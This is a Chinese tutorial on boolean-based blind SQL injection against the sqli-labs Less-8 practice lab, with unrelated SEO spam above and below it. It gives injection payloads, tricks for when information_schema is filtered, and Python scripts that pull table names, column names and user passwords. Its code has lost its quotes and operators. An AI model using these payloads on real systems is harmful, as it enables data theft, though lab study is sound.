当前位置: 首页 > news >正文

做国内学历公证的网站网络推广运营主要做什么

做国内学历公证的网站,网络推广运营主要做什么,网站开发的英文书有什么,网站的二级导航怎么做目录 1 布尔盲注 2布尔盲注流程 2.1输入id进行测试 2.2判断注入类型 2.3爆数据库名 2.4爆表名 2.5爆字段名 2.6查询数据 1 布尔盲注 布尔盲注就是在SQL注入过程中#xff0c;SQL语句执行后#xff0c;查询到的数据不能回显到前端页面#xff0c;如果正确执行了构造的…目录 1 布尔盲注 2布尔盲注流程 2.1输入id进行测试 2.2判断注入类型 2.3爆数据库名 2.4爆表名 2.5爆字段名 2.6查询数据 1 布尔盲注 布尔盲注就是在SQL注入过程中SQL语句执行后查询到的数据不能回显到前端页面如果正确执行了构造的SQL语句则返回一种页面如果错误则执行另一种页面。基于两种页面来判断SQL语句正确与否达到获取数据的目的。 2布尔盲注流程 2.1输入id进行测试 输入?id1发现页面回显You are in.......... 输入?id1发现页面无显示 此时联想到正确错误两个页面采用布尔盲注 2.2判断注入类型 1.?id1 and 11 和?id1 and 12进行测试如果11页面显示正常和原页面一样并且12页面报错或者页面部分数据显示不正常那么可以确定此处为数字型注入。 2.?id1 and 11--和?id1 and 12--进行测试如果11页面显示正常和原页面一样并且12页面报错或者页面部分数据显示不正常那么可以确定此处为字符型注入。 根据结果可判断为字符型注入 2.3爆数据库名 如何获取数据库呢可以通过截取字符串的方式进行获取。substr(string, start, length) 截取字符串这个函数的意思简单来说截取一个字符串从start位可以是第1位第2位。。。。每次截取length个字符。然后使用ascii()函数。其作用是将字符转换成对应的ascii值。 ?id1 and ascii(substr(database(),1,1))97-- 如果数据库名的第一个字符的ascii码值等于97则页面显示正确的页面如果数据库名的第一个字符的ascii码值不等于97则页面显示错误的页面 页面无显示说明数据库名的第一个字符的ascii码值不等于97 我们可以编写一个简单的python脚本就可以爆破出数据库名 import timeimport requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef inject_database(url):name for i in range(1, 20):for j in range(32, 129):payload 1 and ascii(substr(database(), %d, 1)) %d-- % (i, j)res {id: payload}r requests.get(url, paramsres)if You are in........... in r.text:name name chr(j)print(name)breakelse:continueinject_database(url) 根据运行结果得出数据库名为security  2.4爆表名 使用count() 函数进行获取表的数量 1 and (select count(table_name) from information_schema.tables where table_schemasecurity)2-- 1 and (select count(table_name) from information_schema.tables where table_schemasecurity)4-- 可以看出security下有四张表,然后进行爆表名 1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemasecurity),1,1))101-- mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库他保存着mysql 服务器所维护的所有其他的数据库信息 包括了 库名表名列名。 在注入时information_schema库的作用就是获取 table_schema table_name, column_name . 这些数据库内的信息。如果information_schema库被过滤掉还可以尝试使用下述库来代替 sys.schema_auto_increment_columns  sys.schema_table_statistics_with_buffer mysql.innodb_table_stats mysql.innodb_table_index 然后编写一个简单的python脚本就可以爆破出所有的表名 import requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef boolean_blind_inject(url):name for i in range(1, 50):low 32high 128while low high:mid (low high) // 2# 构造布尔盲注的payloadpayload 1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemasecurity),%d,1)) %d-- %(i, mid)params {id: payload} # 使用 params 而不是 data# 发送 GET 请求r requests.get(url, paramsparams)# 根据页面内容或状态码判断是否注入成功if You are in........... in r.text:low mid 1else:high midmid (low high) // 2if mid 32: # 如果 mid 为 32则表示已经到达字符串的末尾breakname chr(mid)print(name)# 调用函数 boolean_blind_inject(url)上述代码采用二分法提高效率  根据运行结果得出表名为emails,referers,uagents,users 2.5爆字段名 根据表名知道可能用户的账户和密码是在users表中接下来我们就是得到该表下的字段名以及内容。 同样使用python脚本来爆破出字段名只需将刚才的python脚本中的payload变换一下 import requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef boolean_blind_inject(url):name for i in range(1, 50):low 32high 128while low high:mid (low high) // 2# 构造布尔盲注的payloadpayload 1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),%d,1)) %d-- %(i, mid)params {id: payload} # 使用 params 而不是 data# 发送 GET 请求r requests.get(url, paramsparams)# 根据页面内容或状态码判断是否注入成功if You are in........... in r.text:low mid 1else:high midmid (low high) // 2if mid 32: # 如果 mid 为 32则表示已经到达字符串的末尾breakname chr(mid)print(name)# 调用函数 boolean_blind_inject(url)根据运行结果得出字段名为idusername,password 2.6查询数据 import requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef boolean_blind_inject(url):name for i in range(1, 200):low 32high 128while low high:mid (low high) // 2# 构造布尔盲注的payloadpayload 1 and ascii(substr((select group_concat(username,id,password) from users),%d,1)) %d-- %(i, mid)params {id: payload} # 使用 params 而不是 data# 发送 GET 请求r requests.get(url, paramsparams)# 根据页面内容或状态码判断是否注入成功if You are in........... in r.text:low mid 1else:high midmid (low high) // 2if mid 32: # 如果 mid 为 32则表示已经到达字符串的末尾breakname chr(mid)print(name)# 调用函数 boolean_blind_inject(url)这样我们就爆出各个用户的账号密码了本次手布尔盲注到此结束如果不会写python脚本也可以使用BurpSuite工具来破解数据感兴趣的同学可以自行搜索相关资料学习。
http://www.dnsts.com.cn/news/184692.html

相关文章:

  • 做网站前端后台wordpress 已登录用户登录
  • wordpress去掉版权青岛网站推广优化
  • 哪个视频网站做视频最赚钱的温岭建设网站
  • 用tornado做网站wordpress图片打开速度慢
  • 站长统计app软件下载2021网站当前位置怎么做
  • 点评网站模板企业建设网页
  • 快速的网站开发长沙做暑假实践活动网站
  • 专门做外国的网站吗sae网站备案
  • 建设一个网站需要什么设备免费网站引导页
  • 北京丰台做网站wordpress黑镜主题2.0下载
  • 做网站 什么主题较好网站建设任职资格
  • 判断网站开发语言网站 技术
  • 怎样制作公司网站域名会跳转怎么进原网站
  • 驰业传媒网站建设tp3企业网站开发百度云
  • wordpress pdo百度seo关键词优化市场
  • 免费设计网站乔家孕事(限) 17模板网
  • wordpress装修套餐网站源码烟台哪个公司做网站好
  • 网站建设 部署与发布视频做机器人的网站
  • 做食品团购去那家网站好wordpress 单页面美化
  • 淘宝上做网站权重万网网站备案系统
  • 建设农村信息网站品牌注册类别
  • 外卖在家做咋上网站做彩票网站需要什么技术
  • 提供做网站公司有哪些上线了做网站怎么样
  • 山东省建设银行网站微信小商店开店流程
  • 网站建设的准备工作wordpress取消评论
  • 深圳安嘉建设有限公司网站广州网站建设懂你所需
  • 做游戏奖金不被发现网站广州网页制作培训
  • 保险购买网站简单ppt模板下载免费完整版
  • 下载的网站模板怎么修改电脑系统怎么重新装wordpress
  • 网站内嵌地图快速网站制作